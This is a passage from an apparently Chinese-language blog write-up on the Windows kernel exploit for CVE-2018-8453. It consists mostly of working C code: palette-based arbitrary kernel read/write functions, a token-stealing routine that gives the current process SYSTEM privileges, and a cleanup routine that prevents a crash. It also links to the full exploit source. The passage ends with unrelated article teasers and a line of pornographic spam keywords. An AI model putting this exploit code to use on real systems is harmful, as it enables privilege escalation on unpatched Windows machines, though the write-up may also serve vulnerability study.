    BOOL SetPaletteTarget(HPALETTE hManager, DWORD dwStart, DWORD dwEntries, PVOID pTargetAddress){    BOOL bRet = TRUE;     // 設置要讀寫的內存地址    if (!SetPaletteEntries(hManager, dwStart, dwEntries, (PPALETTEENTRY)&pTargetAddress))    {        bRet = FALSE;        ShowError("SetPaletteEntries", GetLastError());        goto exit;    }exit:    return bRet;} ULONG64 ReadDataByPalette(HPALETTE hManager, HPALETTE hWorker, DWORD dwStart, DWORD dwEntries, PVOID pTargetAddress){    ULONG64 ulData = 0;     if (!SetPaletteTarget(hManager, dwStart, dwEntries, pTargetAddress))    {        goto exit;    }     if (!GetPaletteEntries(hWorker, 0, dwEntries, (PPALETTEENTRY)&ulData))    {        ShowError("GetPaletteEntries", GetLastError());        goto exit;    } exit:    return ulData;} BOOL WriteDataByPalette(HPALETTE hManager, HPALETTE hWorker, DWORD dwStart, DWORD dwEntries, PVOID pTargetAddress, ULONG64 ulValue){    BOOL bRet = TRUE;     if (!SetPaletteTarget(hManager, dwStart, dwEntries, pTargetAddress))    {        bRet = FALSE;        goto exit;    }     if (!SetPaletteEntries(hWorker, 0, dwEntries, (PPALETTEENTRY)&ulValue))    {        bRet = FALSE;        ShowError("SetPaletteEntries", GetLastError());        goto exit;    } exit:    return bRet;}
    

    五、運行結果

    可以進行任意地址讀寫,就可以通過修改Token來實現提權:

    BOOL EnablePrivilege_CVE_2018_8453(HPALETTE hManager, HPALETTE hWorker){    BOOL bRet = TRUE;    DWORD dwEntries = sizeof(ULONG64) / sizeof(PALETTEENTRY);    DWORD dwFirstColorOffset = 0x78;    DWORD dwStart = (0x800 - 0x88 + dwFirstColorOffset) / 4;     // 獲取System進程的EPROCESS    ULONG64 ulSystemEprocess = GetSystemEprocessByPalette(hManager, hWorker, dwStart, dwEntries);    if (!ulSystemEprocess)    {        bRet = FALSE;        goto exit;    }         DWORD CONST dwPIDOffset = 0x2E0, dwLinksOffset = 0x2E8, dwTokenOffset = 0x358;    ULONG64 ulPID = GetCurrentProcessId(), ulCurPID = 0, ulCurEprocess = ulSystemEprocess;         // 獲取當前進程EPROCESS    do {        ulCurEprocess = ReadDataByPalette(hManager, hWorker, dwStart, dwEntries, (PVOID)(ulCurEprocess + dwLinksOffset));        ulCurEprocess -= dwLinksOffset;        ulCurPID = ReadDataByPalette(hManager, hWorker, dwStart, dwEntries, (PVOID)(ulCurEprocess + dwPIDOffset));    } while (ulPID != ulCurPID);     ULONG64 ulToken = 0;         // 將system進程的token賦給當前進程    ulToken = ReadDataByPalette(hManager, hWorker, dwStart, dwEntries, (PVOID)(ulSystemEprocess + dwTokenOffset));    WriteDataByPalette(hManager, hWorker, dwStart, dwEntries, (PVOID)(ulCurEprocess + dwTokenOffset), ulToken); exit:    return bRet;}
    

    由于觸發漏洞的時候,xxxSBTrackInit會釋放掉MenuName所指的內存,為了防止在進程退出,釋放資源的時候再次對其進行釋放導致雙重釋放,就需要通過前面在g_ulMenuName中保存的地址修改為NULL來解決該問題,對應代碼如下:

    BOOL ReapairData_CVE_2018_8453(HPALETTE hManager, HPALETTE hWorker){    BOOL bRet = TRUE;    ULONG64 ulValue = 0;    DWORD i = 0;     DWORD dwEntries = sizeof(ULONG64) / sizeof(PALETTEENTRY);    DWORD dwFirstColorOffset = 0x78;    DWORD dwStart = (0x800 - 0x88 + dwFirstColorOffset) / 4;    for (i = 0; i < 0x400; i++)    {        if (g_ulMenuName_2018_8453[i])        {            if (!WriteDataByPalette(hManager, hWorker, dwStart, dwEntries, (PVOID)g_ulMenuName_2018_8453[i], (ULONG64)ulValue))            {                printf("reapair wrong\n");                bRet = FALSE;                goto exit;            }        }        else break;    } exit:    return bRet;}
    

    完整的代碼保存在:https://github.com/LegendSaber/exp_x64/blob/master/exp_x64/CVE-2018-8453.cpp。運行程序就可以成功提權,且退出程序的時候不會產生BSOD錯誤:

    函數調用結構體類型
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    源碼分析1、LLVM編譯器簡介LLVM 命名最早源自于底層虛擬機的縮寫,由于命名帶來的混亂,LLVM就是該項目的全稱。LLVM 核心庫提供了與編譯器相關的支持,可以作為多種語言編譯器的后臺來使用。自那時以來,已經成長為LLVM的主干項目,由不同的子項目組成,其中許多是正在生產中使用的各種 商業和開源的項目,以及被廣泛用于學術研究。
    Win32k組件最初的設計和編寫是完全建立的用戶層上的,但是微軟在 Windows NT 4.0 的改變中將 Win32k.sys 作為改變的一部分而引入,用以提升圖形繪制性能并減少 Windows 應用程序的內存需求。窗口管理器(User)和圖形設備接口(GDI)在極大程度上被移出客戶端/服務端運行時子系統(CSRSS)并被落實在它自身的一個內核模塊中。
    Go:Channel使用模式
    2022-07-20 11:05:42
    有幾種重要的channel模式需要理解,因為channel實現了Goroutine之間的通信。等待結果模式這是channel的基本使用模式,創建一個goroutine來執行任務,然后將執行結果通過channel通知到對應的其他Goroutine。
    概述在windows系統上,涉及到內核對象的功能函數,都需要從應用層權限轉換到內核層權限,然后再執行想要的內核函數,最終將函數結果返回給應用層。本文就是用OpenProcess函數來觀察函數從應用層到內核層的整體調用流程。OpenProcess函數,根據指定的進程ID,返回進程句柄。NTSTATUS Status; //保存函數執行狀態。OBJECT_ATTRIBUTES Obja; //待打開對象的對象屬性。HANDLE Handle; //存儲打開的句柄。CLIENT_ID ClientId; //進程、線程ID. dwDesiredAccess, //預打開進程并獲取對應的權限。ObjectNamePresent = ARGUMENT_PRESENT ; //判斷對象名稱是否為空
    從補丁可以認識一個漏洞的觸發源。 查看github中的補丁信息Fixed chunk size parsing. · nginx/nginx@818807d (github.com)如下:
    作為一只網安新人小白,在RCE方向上的求知經高人指點落腳在了Struts2上。
    target_func: sark.Function 類型,表示要查找交叉引用關系的目標函數對象。max_depth: int 類型,表示查找引用關系的最大深度。② 然后根據 include_data_xref 的設置,獲取該函數中所有的引用 refes。③ 遍歷函數的所有引用 ref,如果該引用 ref 指向目標函數,則在有向圖 G 中通過 add_edge 函數添加一條從當前函數到目標函數的邊,并返回 True。④ 如果引用指向另一個函數,則遞歸調用 find_cross_refs 函數查找兩個函數之間的交叉引用關系。⑤ 如果所有引用遍歷完,仍然沒有找到交叉引用,則返回 False。
    在當前CTF比賽中,“偽造IO_FILE”是pwn題里一種常見的利用方式,并且有時難度還不小。
    通過使用根據給定語法執行突變的庫來啟用結構感知模糊測試,進而達成更細致化模糊數據處理的第三方組件,一般由模糊測試人員自己開發編寫。對于xml等固定文件格式的testcase時就需要編寫mutator進行精細化fuzzing。總的來說是調用了lxml來編寫xml型的mutator:from?
    在所有函數調用發生時,向棧幀內壓入一個額外的隨機 DWORD,隨機數標注為“SecurityCookie”。在函數返回之前,系統將執行一個額外的安全驗證操作,被稱做 Security check。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类